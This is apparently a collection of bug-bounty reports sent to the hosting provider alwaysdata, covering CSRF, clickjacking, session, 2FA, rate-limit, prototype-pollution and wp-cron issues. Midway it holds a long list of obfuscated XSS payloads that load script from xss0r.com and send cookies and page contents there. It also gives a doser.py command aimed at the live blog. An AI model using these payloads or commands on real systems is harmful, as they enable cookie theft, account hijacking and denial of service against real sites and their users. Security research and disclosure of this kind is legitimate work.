Security vulnerabilities

Hello Team,
My Name Is Pawan Yadav, a cyber security researcher from India. While testing one of your domains, I have found a vulnerability in your site.

Here is the detailed report:

Vulnerability Description :-
Direct IP access refers to the ability to access a website or service directly via its IP address
rather than its domain name (e.g., http://185.31.40.186/ instead of https://admin.alwaysdata.com/login/?next=/ ). Direct IP
access can bypass certain security controls implemented at the domain level, potentially
exposing sensitive information or allowing unauthorized access to resources.

Attack Vector :-
An attacker can directly access the web application by using its IP address, bypassing domain-
based security controls such as Web Application Firewalls (WAFs), IP filtering, or access controls
based on the domain name.
Domain :- https://admin.alwaysdata.com/login/?next=/ Direct IP Access :- http://185.31.40.186/
Reference :-
https://www.nexgi.com/digital-library/direct-ip-access/

Impact:-

Denial of Service : Direct IP-address Access has its own set of issues. For starters, it increases
the chances to encounter a Distributed Denial of Service attack.
Data Interception: Attackers can intercept and read sensitive information transmitted between
the server and clients, such as login credentials, personal information, and payment details.
Man-in-the-Middle Attacks: This vulnerability enables attackers to intercept and potentially alter
the communication between the server and client, leading to unauthorized data modification or
injection of malicious content.
Loss of User Trust: A lack of HTTPS can undermine the trust and credibility of the website among
its users, potentially leading to decreased user engagement and conversions.

POC

https://drive.google.com/file/d/19idNkDidehPI_SR3qQfvArwgCSji7elc/view?usp=sharing

Direct accessing Api on another Browser.

Hello Team, I hope you are doing well. Well, researching in your domain I found Direct accessing Api on another Browser, steps are given below:

Steps to Reproduce:

1.Go to https://admin.alwaysdata.com/ and login into your account.
2 Go to Profile Section and create your token.
3.Then, go to https://api.alwaysdata.com/v1/account/ and sign in into your account.
4.Copy your login account Url and paste it into another browser, you can see that you can direct accessing the account without sign in the account.

Impact:

Create another session into another browser for accessing the account, If attacker gain the victim session or laptop access, so he/she can directly access the victim Api account in https://api.alwaysdata.com/v1/account/ .

#Note:

I deleted all the cookies from the browser, after that I visit in https://api.alwaysdata.com/v1/doc so I can directly accessing the account without sign in again.

Thank You,

Waleed Anwar

#CSRF TOKEN BYPASS WITH GET REQUEST.

Hello Team, I hope you are doing well. While, Researching in your domain I found Csrf Token Bypass with Get Request Method.

#Steps to Reproduce:

1. Login https://webmail.alwaysdata.com/?from_roundcube=1.
2. Go to https://webmail.alwaysdata.com/roundcube/?_task=settings&_action=folders and Click on Save Button and Capture the Post Request in BurpSuite.

3. You got the POST request like this.

POST /roundcube/ HTTP/1.1
Host: webmail.alwaysdata.com
Cookie: csrftoken=xxxxxxxxxxxxxxxxxxxxxxx; roundcube_sessid=xxxxxxxxxxxxxxxxx; mailviewsplitterv=165; mailviewsplitter2=405; prefsviewsplitter=195; colorMode=light; sessionid=xxxxxxxxxxxxxxxxxxxxxxxxxxx; roundcube_sessauth=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://webmail.alwaysdata.com/roundcube/?_task=settings&_action=add-folder&_mbox=&_framed=1 Origin: https://webmail.alwaysdata.com Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=4
Te: trailers
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 89

_token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&_framed=1&_task=settings&_action=save-folder&_name=test&_parent=INBOX&_viewmode=0

4. Change the POST Request to GET and remove the token into null request.
5. Send this request to someone, he/she create folder without token and CSRF Protection also bypassed.

#Before Changing the Request(POST Method):

REQUEST CHECK FAILED
For your protection, access to this resource is secured against CSRF.
If you see this, you probably didn't log out before leaving the web application.

Human interaction is now required to continue.
Please contact your server-administrator.

# After Changing the Request(GET Method):

Location
Folder name
Parent folder

— Settings
List view mode

List

Thank You,

Waleed Anwar

Critical Vulnerability Report- {Critical BUG #P1} - https://blog.alwaysdata.com/wp-cron.php - vulnerable to DoS attack via wp-cron.php

NOTE: I did not do Exploitation that as this can impact your website.

Hello Security team,

I am a Security Engineer, Cyber Security Researcher, Bug Bounty Hunter & Ethical Hacker. While testing your domain https://alwaysdata.com I have found some important vulnerabilities in your site.

Vulnerability Name: https://blog.alwaysdata.com/ - vulnerable to DoS attack via wp-cron.php

Vulnerable Domain: https://blog.alwaysdata.com/wp-cron.php

Description:

The WordPress application is vulnerable to a Denial of Service (DoS) attack via the wp-cron.php script. This script is used by WordPress to perform scheduled tasks, such as publishing scheduled posts, checking for updates, and running plugins.
An attacker can exploit this vulnerability by sending a large number of requests to the wp-cron.php script, causing it to consume excessive resources and overload the server. This can lead to the application becoming unresponsive or crashing, potentially causing data loss and downtime.

I found this vulnerability at https://blog.alwaysdata.com/wp-cron.php endpoint.

Steps to Reproduce: reference- https://hackerone.com/reports/1888723
navigate to: https://blog.alwaysdata.com/wp-cron.php intercept the request through the burp suite
right click on the request and send it to the repeater
Now send a request, and you will see the response as 200 OK

—

this can be also done by the curl command given below

curl -I "https://blog.alwaysdata.com/wp-cron.php"

POC: Attached

Impact:
If successful, this misconfigured wp-cron.php file can cause lots of damage to the site, such as:

Potential Denial of Service (DoS) attacks, resulting in unavailability of the application.
Server overload and increased resource usage, leading to slow response times or application crashes.
Potential data loss and downtime of the site.
Hackers can exploit the misconfiguration to execute malicious tasks, leading to security breaches.

Exploitation:

Exploitation can be done through a GitHub tool called doser.go https://github.com/Quitten/doser.go

I did not do that as this can impact your website.

Get the doser.py script at https://github.com/Quitten/doser.py Use this command to run the script: python3 doser.py -t 999 -g 'https://blog.alwaysdata.com/wp-cron.php'
Go to after https://blog.alwaysdata.com/ 1000 requests of the doser.py script.
The site returns code 502.

Suggested Mitigation/Remediation Actions:
To mitigate this vulnerability, it is recommended to disable the default WordPress wp-cron.php script and set up a server-side cron job instead. Here are the steps to disable the default wp-cron.php script and set up a server-side cron job:
Access your website's root directory via FTP or cPanel File Manager.
Locate the wp-config.php file and open it for editing.
Add the following line of code to the file, just before the line that says "That's all, stop editing! Happy publishing.":
Code 32 BytesUnwrap lines Copy Download
1define('DISABLE_WP_CRON', true);
Save the changes to the wp-config.php file.
Set up a server-side cron job to run the wp-cron.php script at the desired interval. This can be done using the server's control panel or by editing the server's crontab file.
References:

For more information about this vulnerability, please refer to the following resources:

https://hackerone.com/reports/1888723

https://medium.com/@mayank_prajapati/what-is-wp-cron-php-0dd4c31b0fee

https://developer.wordpress.org/plugins/cron/

Fix Them

I have protected your company and saved it from a big loss so give me some appreciation Bounty Reward.

I am sharing my PayPal ID with you.
Paypal ID: trilokdhaked12345678@gmail.com

Hello Team, I hope you are doing well. I found Credit Card Validation error in your domain.

Steps:

1: Go to https://www.alwaysdata.com/en/register/ and signup for account.

2: Fill the form and Check in Credit Card Validation and Privacy policy.

3:Click on Create my Profile

Note: The Credit Card form not occurred for inputting credit card numbers etc.

Thank you,

Waleed Anwar

*Title:* Clickjacking (On-click) Vulnerability in Support Ticket Attachment Deletion in [admin.alwaysdata.com]

*Summary:*
The support ticket system of the web application is vulnerable to a clickjacking attack that allows an attacker to trick a user into deleting attachments from their support tickets unknowingly.

On-click Delete any attachment for users in support tickets Delete any attachment for users in technical support tickets

*Steps to Reproduce:*
1. Create a support ticket in the application.
2. Attach a file to the support ticket.
3. Obtain the direct link of the attachment and append the /delete/ command to the URL.
4. Create an HTML proof-of-concept file with the following content:

html

  <a href="https://admin.alwaysdata.com/support/----/delete/----">click</a>

5. Host this HTML page or send it via link to the victim.
6. Once the victim clicks on the disguised link, the attachment is deleted without their explicit consent or knowledge.

An attacker can use his location and attach an html file instead of sending a file that the user clicks on.

*Impact:*
The exploit enables unauthorized deletion of any attachment from user-created support tickets. This can result in loss of critical data and potential breach of information security, affecting data integrity and user trust.

This is in addition to this report as I explained in another way but I remembered now that the attacker had to delete any technical support ticket in the way I explained in this report
link: https://security.alwaysdata.com/task/24

Description: There is clickjacking vulnerability at https://admin.alwaysdata.com/admin/details/ endpoint. And, for deleting a profile, we just need two clicks.

Steps to reproduce:
1) Open your browser and search for https://admin.alwaysdata.com/admin/details/ 2) create an html file that overlays delete this profile icon and then the submit button.

Impact: Admin's account can be deleted in two clicks.

Bypass the Session Expiration in admin.alwaysdata.com

Hello Team, I hope you are doing well, while I found Bypass the Session Expiration in admin.alwaysdata.com bug steps are given below:

Steps To Reproduce:

1.Logged into the website on both of mobile phone and a laptop.
2.Then go to https://admin.alwaysdata.com/support/?status=open&status=unread in mobile phone and open a ticket to just for test.

3.Fill the form and upload any thing you just want.
4. Turned Off Wifi or mobile data in your mobile phone and click on submit button and you see that no internet connection occurs in mobile phone web browser.

5. Logout from admin.alwaysdata.com in your laptop.
6. After that, Turned On Wifi or mobile data in your mobile phone and refresh the page in the web browser of your mobile phone and you can see that you are still login in the account while session was expired from the laptop and session was bypassed in the mobile pone browser.

#Note: I tested in hackerone and portswigger website they don't have this kind of bug, their session are out while someone can logout from their account in the laptop of Pc.

Thank You,

Waleed Anwar

Hi Team,

I found a rate limit bypass in reset password endpoint.

If we send the following POST:

POST /password/lost/ HTTP/2
Host: admin.alwaysdata.com
Cookie: csrftoken=xxxxxxxx………………; django_language=en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://admin.alwaysdata.com/password/lost/ Content-Type: application/x-www-form-urlencoded
Content-Length: 113
Origin: https://admin.alwaysdata.com Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

csrfmiddlewaretoken=xxxxxxxxxxxxxxx…………………..&email=example%40gmail.com

Now send the request around ~50 times and it'll hit "Too Many Requests". Now simply add %00 on the end of the email and resend even more password reset emails.
&email=example%40gmail.com%00 - and keep adding %00 everytime you are rate limited. After a while you can go back to just %00 as it resets after so long.

No real impact with just mass emailing someone a reset password link, but I thought it was worth reporting because the rate limiting bypass might exist in other areas (with the use of the null byte %00)

Thank You,

Waleed Anwar

Bypassing Two-Factor Authentication via Account Deactivation

Hello Team,

I hope you are doing well. I found a serious issue in https://admin.alwaysdata.com which Bypassing Two-Factor Authentication via Account Deactivation.

The vulnerability arises from a logical flaw in the account recovery and 2FA enforcement processes. Specifically, after deactivating an account, users can takeover and log in without being prompted for 2FA. The 2FA mechanism, which is designed to provide an additional layer of security, is effectively bypassed.

Steps To Reproduce

Go to https://admin.alwaysdata.com and make signup example@gmail.com

Then, go to admin detail section add some details first name, last name etc and activate 2fa.

After, activating 2fa submit and save the details.

After, saving the details click on Delete this profile button on right top side and submit the message what you want.

Your account is deleted without asking password confirmation and 2fa is also deactivated and attacker can easily takeover the account.

Note: This is possible only when user is forgot to login off the account at cafe or something else pc and recreate a account with this email address and reconfigure a 2fa to takeover the account.

Regard,

Waleed Anwar

'"><script src=https://xss0r.com/c/sabeesh></script>
"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzMHIuY29tL2Mvc2FiZWVzaCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs6; onerror=eval(atob(this.id))>
javascript:eval('var a=document.createElement(\'script\');a.src=\'https://xss0r.com/c/sabeesh\';document.body.appendChild(a)')
"><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzMHIuY29tL2Mvc2FiZWVzaCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs6; autofocus>
"><video><source onerror=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzMHIuY29tL2Mvc2FiZWVzaCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs6;>
"><iframe srcdoc="&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;&#118;&#97;&#114;&#32;&#97;&#61;&#112;&#97;&#114;&#101;&#110;&#116;&#46;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#99;&#114;&#101;&#97;&#116;&#101;&#69;&#108;&#101;&#109;&#101;&#110;&#116;&#40;&#34;&#115;&#99;&#114;&#105;&#112;&#116;&#34;&#41;&#59;&#97;&#46;&#115;&#114;&#99;&#61;&#34;&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;&#120;&#115;&#115;&#48;&#114;&#46;&#99;&#111;&#109;&#47;&#99;&#47;&#115;&#97;&#98;&#101;&#101;&#115;&#104;&#34;&#59;&#112;&#97;&#114;&#101;&#110;&#116;&#46;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#98;&#111;&#100;&#121;&#46;&#97;&#112;&#112;&#101;&#110;&#100;&#67;&#104;&#105;&#108;&#100;&#40;&#97;&#41;&#59;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;">
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "xss0r.com/c/sabeesh");a.send();</script>
<script>$.getScript("xss0r.com/c/sabeesh")</script>
var a=document.createElement("script");a.src="https://xss0r.com/c/sabeesh";document.body.appendChild(a);
'"></Title/</StYle/</TeXtarEa/</ScRipt/</NoScRiPt/</SeLeCt/</OpTiOn/</Svg/''"><svg/onload=javascript:eval(atob('dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzMHIuY29tL2Mvc2FiZWVzaCI7ZG9jdW1lbnQuYm9keS5hcHBlbmQoYSk7')) '"><img src=x onerror="eval(atob('dmFyIGEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTthLnNyYyA9ICdodHRwczovL3hzczByLmNvbS9jL3NhYmVlc2gnO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7'))">
"><img src=&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;&#120;&#115;&#115;&#48;&#114;&#46;&#99;&#111;&#109;&#47;&#99;&#47;&#115;&#97;&#98;&#101;&#101;&#115;&#104; onerror=&#101;&#118;&#97;&#108;&#40;&#97;&#116;&#111;&#98;&#40;&#116;&#104;&#105;&#115;&#46;&#115;&#114;&#99;&#41;&#41;>
'"<img src="https://xss0r.com/c/sabeesh" onerror='this.src="https://xss0r.com/c/sabeesh"'>
'"<img src=x onerror='this.src="https://xss0r.com/c/sabeesh"'>
'"<img src=x onerror='fetch("https://xss0r.com/c/sabeesh",{method:"POST",body:btoa(document.body.innerHTML),mode:"no-cors"})'>
'"<iframe src='javascript:window.location="https://xss0r.com/c/sabeesh"'></iframe>
'"<iframe srcdoc='<script>window.location="https://xss0r.com/c/sabeesh"</script>'></iframe>
'"<iframe srcdoc='<script>fetch("https://xss0r.com/c/sabeesh",{method:"POST",body:btoa(parent.document.body.innerHTML),mode:"no-cors"})</script>'></iframe>
'"<object data='javascript:window.location="https://xss0r.com/c/sabeesh"'></object>
<input onfocus='fetch("https://xss0r.com/c/sabeesh",{method:"POST",mode:"no-cors"})' autofocus>
'"<script type="text/javascript" src="https://xss0r.com/c/sabeesh"></script>
'"<script type="module" src="https://xss0r.com/c/sabeesh"></script>
'"<script nomodule src="https://xss0r.com/c/sabeesh"></script>
javascript:window.location="https://xss0r.com/c/sabeesh"
javascript:fetch("https://xss0r.com/c/sabeesh")
–></tiTle></stYle></texTarea></scrIpt>"'><scrIpt src="https://xss0r.com/c/sabeesh"></scrIpt>
'"<img src="https://xss0r.com/c/sabeesh" onerror="this.src='https://xss0r.com/c/sabeesh'">
'"<svg/onload="window.location.href='https://xss0r.com/c/sabeesh'">
'"<audio src onerror='fetch("https://xss0r.com/c/sabeesh",{method:"POST",mode:"no-cors"})'>
'"<script>new Image().src="https://xss0r.com/c/sabeesh"</script>
'"<form action="https://xss0r.com/c/sabeesh" method="POST"><input name="data" value=""></form><script>document.forms[0].submit();</script>
'"<iframe src="javascript:fetch('https://xss0r.com/c/sabeesh')"></iframe>
'"<link rel="stylesheet" href="https://xss0r.com/c/sabeesh" onerror='fetch("https://xss0r.com/c/sabeesh")'>
'"<meta http-equiv="refresh" content="0;url=https://xss0r.com/c/sabeesh">
'"<object data="https://xss0r.com/c/sabeesh" onerror='this.data="https://xss0r.com/c/sabeesh"'></object>
javascript:fetch("https://xss0r.com/c/sabeesh")
'"<svg/onload="fetch('https://xss0r.com/c/sabeesh'">
{constructor.constructor('fetch("https://xss0r.com/c/sabeesh"')()}
'"<img src=x onerror="fetch('https://xss0r.com/c/sabeesh')">
'"></script></title></textarea><script src=https://xss0r.com/c/sabeesh></script>
'"<svg/onload='var a="fetch";var b="https://xss0r.com/c/sabeesh"; setTimeout(a+"(b)",1000)'>
'"<iframe src="javascript:setTimeout('fetch(\"https://xss0r.com/c/sabeesh\")', 1000)"></iframe>
'"<form id='xss'><button form='xss' formaction='javascript:fetch("https://xss0r.com/c/sabeesh")'>Click Me</button></form>
'/*'/*`/*–></noscript></title></textarea></style></template></noembed></script>"'><scrIpt src="https://xss0r.com/c/sabeesh"></scrIpt>
'"><img src=x onerror=setTimeout(String.fromCharCode(102,101,116,99,104)+'("https://xss0r.com//sabeesh")', 0)>
'"><script>'/*'/*`/*–><svg onload=fetch("https://xss0r.com/c/sabeesh")></script>
'"?><svg/onload="fetch('https://xss0r.com/c/sabeesh?cookie='+document.cookie)">
<img src=x onerror="setTimeout(function(){fetch('https://xss0r.com/c/sabeesh?data='+document.cookie)},10)">
<input autofocus onfocus="fetch('https://xss0r.com/c/sabeesh?token='+document.cookie)">
<iframe src="javascript:void(0)" onload="fetch('https://xss0r.com/c/sabeesh?url='+location.href)"><!–" –>
'"></title></textarea></script></style></noscript><script src=https://xss0r.com/c/sabeesh></script>
ibrahim'"<script src=https://xss0r.com/c/sabeesh></script>
ibro%27%22%3E%3Cscript%20src%3Dhttps%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%3E%3C%2Fscript%3E
–></tiTle></stYle></texTarea></scrIpt>"'><scrIpt src=https://xss0r.com/c/sabeesh></scrIpt>
/*'/*`/*–></noscript></title></textarea></style></template></noembed></script>"'><scrIpt src="https://xss0r.com/c/sabeesh"></scrIpt>
-'"><Svg Src=xss0r.com/c/sabeesh/s OnLoad=import(this.getAttribute('src')+0)>
email%5D=zer0_sec+1%22%3E%3Cscript+src%3D%22https%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%22%3E%3C%2Fscript%3E%40ibro1337%40gmail.com
<input onmouseover="fetch('https://xss0r.com/c/sabeesh?cookie='+document.cookie)">
'"><Svg Src=xss0r.com/c/sabeesh/s OnLoad=import(this.getAttribute('src')+0)>
'"><Img Src=xss0r.com/c/sabeesh/x Onload=import(src+0)>
'/*\'/*"/*\"/*</Script><Input/AutoFocus/OnFocus=/**/(import(/https:https://xss0r.com/c/sabeesh\00?1=1290/.source))>
\"><input autofocus nope="%26quot;x%26quot;" onfocus="frames.location='https://xss0r.com/c/sabeesh?c='+Reflect.get(document,'coo'+'kie')">
\"></script><img src="x" onerror="with(document)body.appendChild(createElement('script')).src='https://xss0r.com/c/sabeesh'">
<p><img src="https://xss0r.com/c/sabeesh" border="0" />–&gt;</p>
'"></title></textarea></script></style></noscript><script src=https://xss0r.com/c/sabeesh></script>
<script>$.getScript("https://xss0r.com/c/sabeesh")</script>
‘;"/></textarea></script><script src=xss0r.com/c/sabeesh>
zer0_sec+1%22%3E%3Cscript+src%3D%22https%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%22%3E%3C%2Fscript%3E%40ibro1337%40gmail.com
zer0_sec 1"><script src="https://xss0r.com/c/sabeesh"></script>@ibro1337@gmail.com ibro1337%40gmail.com%22%3E%3Cscript%20src%3D%22https%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%22%3E%3C%2Fscript%3E
ibro1337@gmail.com"><script src="https://xss0r.com/c/sabeesh"></script>
{globalThis.constructor("fetch('https://xss0r.com/c/sabeesh?cookie='+document.cookie)")()}
ibro1337@gmail.com<!–" –><script src=https://xss0r.com/c/sabeesh></script>
ibro1337%40gmail.com%22%3E%3Cscript%20src%3D%22https%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%22%3E%3C%2Fscript%3E
ibro1337@gmail.com"><svg onload="fetch('https://xss0r.com/c/sabeesh?cookie='+document.cookie)"></svg>
<iframe src="https://xss0r.com" onload="fetch('https://xss0r.com/c/sabeesh?cookie=' + document.cookie)"></iframe>
</script><Iframe SrcDoc="><script src=https://xss0r.com/c/sabeesh></script>">
%3C%2Fscript%3E%3CIframe%20SrcDoc%3D%22%3E%3Cscript%20src%3Dhttps%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%3E%3C%2Fscript%3E%22%3E
%253C%252Fscript%253E%253CIframe%2520SrcDoc%253D%2522%253E%253Cscript%2520src%253Dhttps%253A%252F%252Fxss0r.com%252Fc%252Fsabeesh%253E%253C%252Fscript%253E%2522%253E
–></tiTle></stYle></texTarea></scrIpt>"'><scrIpt src="https://xss0r.com/c/sabeesh"></scrIpt>
–%3E%3C%2FtiTle%3E%3C%2FstYle%3E%3C%2FtexTarea%3E%3C%2FscrIpt%3E%22%2F%2F%27%2F%2F%3E%3CscrIpt%20src%3D%22https%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%22%3E%3C%2Fscript%3E
–%253E%253C%252FtiTle%253E%253C%252FstYle%253E%253C%252FtexTarea%253E%253C%252FscrIpt%253E%2522%252F%252F%2527%252F%252F%253E%253CscrIpt%2520src%253D%2522https%253A%252F%252Fxss0r.com%252Fc%252Fsabeesh%2522%253E%253C%252Fscript%253E
javascript:%27%22%3E%3Cscript%20src%3Dhttps%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%3E%3C%2Fscript%3E
'"><script src=https://xss0r.com/c/sabeesh></script><img src=x onerror=fetch('https://xss0r.com/c/sabeesh?c='+document.cookie)>
javascript:%22%3E%3Cscript%20src%3Dhttps%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%3E%3C%2Fscript%3E
javascript:%27%22%3E%3Csvg%20onmouseover%3D%22fetch('https://xss0r.com/c/sabeesh?data='+document.cookie)%22%3E%3C%2Fsvg%3E
javascript:/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/–>&lt;svg/onload=/*<html/*/onmouseover=fetch('https://xss0r.com/c/sabeesh?cookie='+document.cookie)>
javascript:</script></textarea></style></noscript></noembed></script></template>&lt;svg/onload=/*fetch('https://xss0r.com/c/sabeesh?cookie='+document.cookie)/*–><html */ onmouseover=alert()//>

Bug Title: Prototype Pollution Vulnerability Report
Weakness: Prototype Pollution
Hello Web Security Team,

I am reporting a security vulnerability on the website https://www.alwaysdata.com/en/ The website is affected by prototype pollution due to the usage of an outdated jQuery version.

Description:
The website uses jQuery version 1.12.4, which is susceptible to prototype pollution. This vulnerability allows an attacker to inject properties into Object.prototype, affecting all objects across the application. Notably, the "deep" version of jQuery $.extend is impacted.

Steps To Reproduce:
1. To check if the application is vulnerable to prototype pollution attack we can use the below command:

command: $.extend(true, {}, JSON.parse('{"__proto__":{"polluted":"hacked"}}'));

2. Now let's open the application URL: https://www.alwaysdata.com/en/ and enter into the developer options Console tab and paste the command and hit enter.
Notice that the result contains an option with polluted: hacked

Image:
https://ibb.co/VxyNw4z

Impact:
Prototype pollution introduces a severe risk to the application. An attacker, upon exploiting this vulnerability, can manipulate default values for options passed to functions with an "options" argument—a common pattern in JavaScript applications. The impact escalates based on the application's use of such options, potentially leading to unauthorized modifications and alterations in the application's behavior.

Supporting Material/References:
https://hackerone.com/reports/380873 https://hackerone.com/reports/454365 The vulnerability has been verified on jQuery version 1.12.4, and it is likely to affect older versions.
The issue is present when using Chrome latest version.

Fix:
Update latest version of jquery 3.7.1 is the best remediation as it has no known vulnerabilities at the time of this writing

Hello Web Security
Severity: Medium
Domain: https://admin.alwaysdata.com

Description :
A security researcher discovered that after resetting a password, the user was automatically logged in. As such, compromising a legitimate password reset link (via referrer token leakage or a similar issue) could lead to compromising the account since the user would not be forced to log in after resetting their password.

Proof Of Concept:
1.Go to this website:(https://admin.alwaysdata.com)
2.Send the password reset link to your email.
3.Go to your email and open the link.
4.Set a new password.
5.Boom.Automatically logged in.

Fix:
OWASP forgot password recommendations(https://www.owasp.org/index.php/Forgot_Password_Cheat_Sheet) suggest a better approach, which we have now implemented.

Thanks.

Reference :
https://hackerone.com/reports/164648 https://hackerone.com/reports/255020

### Bug Report: XSS Vulnerability via File Upload

- Bug Type: Cross-Site Scripting (XSS)
- Affected Site: https://admin.alwaysdata.com

#### Steps to Reproduce
1. Log in to the admin panel at [https://admin.alwaysdata.com](https://admin.alwaysdata.com).
2. Navigate to the Feedback section.
3. Create a new ticket for feedback.
4. Attach a file that contains an embedded XSS payload
5. Submit the feedback with the file attached.
6. After submission, open the file in the ticket view.
7. Observe that a popup appears as a result of the XSS payload execution.

#### Impact
- Security Risk: This vulnerability allows attackers to execute arbitrary JavaScript code in the context of the user's browser.
- Potential Exploits: This can lead to session hijacking, redirecting users to malicious sites, or stealing sensitive user information.
- Severity: High – Since the attack leverages file uploads and can be triggered by opening the file in the browser, it could potentially impact many users who interact with the file.

#### Description
The issue occurs when a file is uploaded with a malicious XSS payload embedded. The uploaded file is not sanitized or filtered correctly, allowing the script to execute when viewed. This vulnerability could lead to a serious security breach, compromising user accounts and system data.

Bug Report: Vulnerability in User Addition Feature Leading to Email Blockage Exploit

Subject: Misconfiguration in User Addition Feature - Enables Permanent Blockage of Employee/User Emails

To:
Security Team
alwaysdata

Description:
The "Add a User" feature in your application has a critical misconfiguration that allows attackers to exploit email handling mechanisms. The vulnerability permits any email address, including sensitive ones like victim@alwaysdata.com or employee@alwaysdata.com, to be registered by an attacker under their account. This issue occurs irrespective of whether the victim is an actual user or employee of alwaysdata.
Key Problem:
Once an attacker registers email addresses to their account, the application erroneously considers these emails as "already in use." Consequently, legitimate users or employees are unable to:
• Register with their own email addresses.
• Recover passwords using the "Forgot Password" feature.
This creates a significant denial of service for legitimate users, especially for employee emails or those critical to operations.

Steps to Reproduce:
1. Login to the Application:
o Attacker logs into their account on alwaysdata.
2. Access the "Add a User" Feature:
o Navigate to the "Add a User" section.
3. Add Any Email Address:
o Enter any target email (e.g., victim@alwaysdata.com, employee@alwaysdata.com, or database_admin@alwaysdata.com) and add it as a user.
4. Observe the Impact:
o The entered email is stored in the database, associating it with the attacker’s account.
o Legitimate users or employees attempting to register with their email or recover their account using "Forgot Password" are blocked as their emails are flagged as already registered.

Business Impact:
1. Disruption of Operations:
Employees using critical emails (e.g., employee@alwaysdata.com, support@alwaysdata.com) are prevented from accessing the platform. This can halt workflows and damage operational continuity.
2. Customer Impact:
Legitimate customers with hijacked email registrations are blocked from using the platform, leading to frustration and loss of trust.
3. Potential Abuse:
o Attacker could pre-register a large list of potential or known email addresses (e.g., 100+ victims).
o Targeted denial of service campaigns against specific users or employees.
4. Reputational Damage:
Affected users may view alwaysdata as insecure and prone to misuse.

Severity:
Moderate to High

Remediation Steps:
1. Email Validation:
Restrict the registration of emails ending with @alwaysdata.com to prevent abuse of employee addresses.
2. Duplicate Email Handling:
Implement a verification mechanism to check if an email is legitimately registered to an account and ensure users can still register or recover their accounts.
3. Audit "Add a User" Logic:
Validate and sanitize inputs to avoid unauthorized addition of unrelated or sensitive emails.
4. Email Ownership Verification:
Mandate email verification for all newly added users before finalizing their association with an account.

Video POC:
A detailed POC has been attached showcasing the reproduction of this bug and its consequences.
https://drive.google.com/file/d/1TBi7njRCCsqkHhAEri7viUmyGot1Pyf5/view?usp=sharing

Subject: Misconfiguration in 2FA Implementation Allows Pre-Complete ATO

To:
Security Team
alwaysdata

Description:
The lack of email verification before enabling Two-Factor Authentication (2FA) introduces a critical vulnerability that can facilitate pre-complete Account Takeover (ATO). An attacker can register email addresses resembling critical system accounts (e.g., administrator@alwaysdata.com or support@alwaysdata.com) without any validation.
This misconfiguration allows the attacker to appear as legitimate users or administrators by exploiting the following gaps:
1. Email Address Control:
The attacker registers administrator@alwaysdata.com (since admin@alwaysdata.com is already in use) or similar critical addresses such as support@alwaysdata.com. This bypass occurs because the application does not verify email ownership before enabling 2FA.
2. Pre-Complete ATO via 2FA:
Once the attacker controls the fake email, they enable 2FA. This results in the following:
- The email becomes "locked" for the attacker's use.
- Real administrators or support users cannot register or regain control of these emails.
- Critical accounts, if assumed to be associated with internal roles, are exploited for phishing or denial of service.
This oversight compromises account security and can lead to severe operational and reputational risks for alwaysdata.

Steps to Reproduce:
1. Register as a New User:
- Create a new account with an email resembling a sensitive system role (e.g., administrator@alwaysdata.com or support@alwaysdata.com).
2. Set Up 2FA on the Account:
- Enable Two-Factor Authentication without any email ownership verification.
3. Observe the Impact:
- The attacker now controls a seemingly legitimate account.
- Real users or employees attempting to register or recover accounts with these emails are blocked.
4. Potential Exploit:
- Use the compromised "fake admin" email to trick other users or employees.
- Execute phishing attacks or leverage the fake email for social engineering attempts.

Business Impact:
1. Operational Risk:
- Legitimate users or employees are unable to access critical accounts (e.g., admin@alwaysdata.com or support@alwaysdata.com).
- This could lead to service disruptions and hinder internal workflows.
2. Security Risks:
